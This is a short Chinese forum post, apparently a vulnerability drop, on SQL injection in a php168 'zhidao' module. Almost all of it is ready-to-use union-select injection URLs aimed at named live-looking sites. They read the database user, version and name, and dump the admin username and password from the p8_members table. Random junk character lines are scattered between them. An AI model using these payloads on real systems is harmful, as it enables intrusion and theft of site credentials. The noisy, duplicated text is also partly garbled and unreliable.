php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
* U$ g* e; I  N9 j" P* J                                                         
9 x, r+ v# N9 F0 j! Y( f$ B0 a7 q/ J                                       
/ a' y2 K9 n# ~8 X6 g$ H
  {$ A2 ~# t" e6 Uhttp://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
6 P* T" A2 I- A& D# Q                                                                  
9 {$ a9 b# l) i" Q& L( P                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--

8 G/ V  {: P2 w: J/ ]0 b

% s9 k& v; ?+ B' `. W, o. s                                                            

http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
" W1 P0 ^6 x4 Z" R! }$ z/ C